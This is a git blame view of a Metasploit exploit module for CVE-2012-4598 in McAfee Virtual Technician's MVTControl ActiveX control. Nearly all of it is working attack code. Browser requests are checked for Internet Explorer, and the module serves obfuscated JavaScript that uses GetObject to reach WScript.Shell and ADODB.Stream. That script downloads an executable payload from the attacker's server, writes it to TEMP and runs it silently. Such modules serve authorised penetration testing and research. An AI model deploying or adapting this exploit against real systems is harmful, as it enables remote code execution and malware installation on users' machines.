Files
metasploit-gs/modules/exploits/windows/browser/mcafee_mvt_exec.rb
T

Ignoring revisions in .git-blame-ignore-revs. Click here to bypass and see the normal blame view.

118 lines
3.2 KiB
Ruby
Raw Normal View History

##
2017-07-24 06:26:21 -07:00
# This module requires Metasploit: https://metasploit.com/download
2013-10-15 13:50:46 -05:00
# Current source: https://github.com/rapid7/metasploit-framework
##
2016-03-08 14:02:44 +01:00
class MetasploitModule < Msf::Exploit::Remote
Rank = ExcellentRanking
2013-08-30 16:28:54 -05:00
include Msf::Exploit::Remote::HttpServer::HTML
include Msf::Exploit::EXE
2013-08-30 16:28:54 -05:00
def initialize(info={})
super(update_info(info,
'Name' => "McAfee Virtual Technician MVTControl 6.3.0.1911 GetObject Vulnerability",
'Description' => %q{
2017-09-08 22:19:55 -04:00
This module exploits a vulnerability found in McAfee Virtual Technician's
MVTControl. This ActiveX control can be abused by using the GetObject() function
to load additional unsafe classes such as WScript.Shell, therefore allowing remote
code execution under the context of the user.
},
'License' => MSF_LICENSE,
'Author' =>
[
'rgod', #Initial discovery, Poc
'sinn3r' #Metasploit
],
'References' =>
[
2013-06-25 02:06:20 -05:00
[ 'CVE', '2012-4598' ],
[ 'OSVDB', '81657'],
2012-12-10 11:42:21 -06:00
[ 'EDB', '18805' ],
[ 'URL', 'https://kc.mcafee.com/corporate/index?page=content&id=SB10028' ]
],
'Payload' =>
{
'BadChars' => "\x00",
},
'DefaultOptions' =>
{
'EXITFUNC' => "none",
'InitialAutoRunScript' => 'post/windows/manage/priv_migrate'
},
'Platform' => 'win',
'Targets' =>
[
[ 'Automatic', {} ]
],
'Privileged' => false,
2020-10-02 17:38:06 +01:00
'DisclosureDate' => '2012-04-30',
'DefaultTarget' => 0))
end
2013-08-30 16:28:54 -05:00
def exploit
@payload_name = rand_text_alpha(rand(6) + 5) + ".exe"
super
end
2013-08-30 16:28:54 -05:00
def on_request_uri(cli, request)
agent = request.headers['User-Agent']
2013-08-30 16:28:54 -05:00
if agent !~ /MSIE \d/
print_error("Browser not supported: #{agent.to_s}")
send_not_found(cli)
return
end
2013-08-30 16:28:54 -05:00
if request.uri =~ /\.exe$/
return if ((p=regenerate_payload(cli))==nil)
data = generate_payload_exe({:code=>p.encoded})
print_status("Sending payload")
send_response(cli, data, {'Content-Type'=>'application/octet-stream'})
return
end
2013-08-30 16:28:54 -05:00
# <object classid='clsid:2EBE1406-BE0E-44E6-AE10-247A0C5AEDCF' id='obj'></object>
js = <<-JS
var obj = new ActiveXObject("MVT.MVTControl.6300");
2013-08-30 16:28:54 -05:00
var ws = obj.GetObject("WScript.Shell");
var ado = obj.GetObject("ADODB.Stream");
var e = ws.Environment("Process");
var url = document.location + "/#{@payload_name}";
var tmp = e.Item("TEMP") + "\\\\#{@payload_name}";
2013-08-30 16:28:54 -05:00
var xml = new ActiveXObject("Microsoft.XMLHTTP");
xml.open("GET", url, false);
xml.send(null);
res = xml.responseBody;
2013-08-30 16:28:54 -05:00
ado.Type = 1;
ado.Mode = 3;
ado.Open();
ado.Write(res);
ado.SaveToFile(tmp);
ws.Run(tmp, 0);
JS
2013-08-30 16:28:54 -05:00
js = ::Rex::Exploitation::JSObfu.new(js)
js.obfuscate(memory_sensitive: true)
2013-08-30 16:28:54 -05:00
html = <<-EOS
<html>
<head>
</head>
<body>
<script defer=defer>
#{js}
</script>
</body>
</html>
EOS
2013-08-30 16:28:54 -05:00
print_status("Sending html")
send_response(cli, html, {'Content-Type'=>'text/html'})
2013-08-30 16:28:54 -05:00
end
2014-06-17 21:03:18 +02:00
end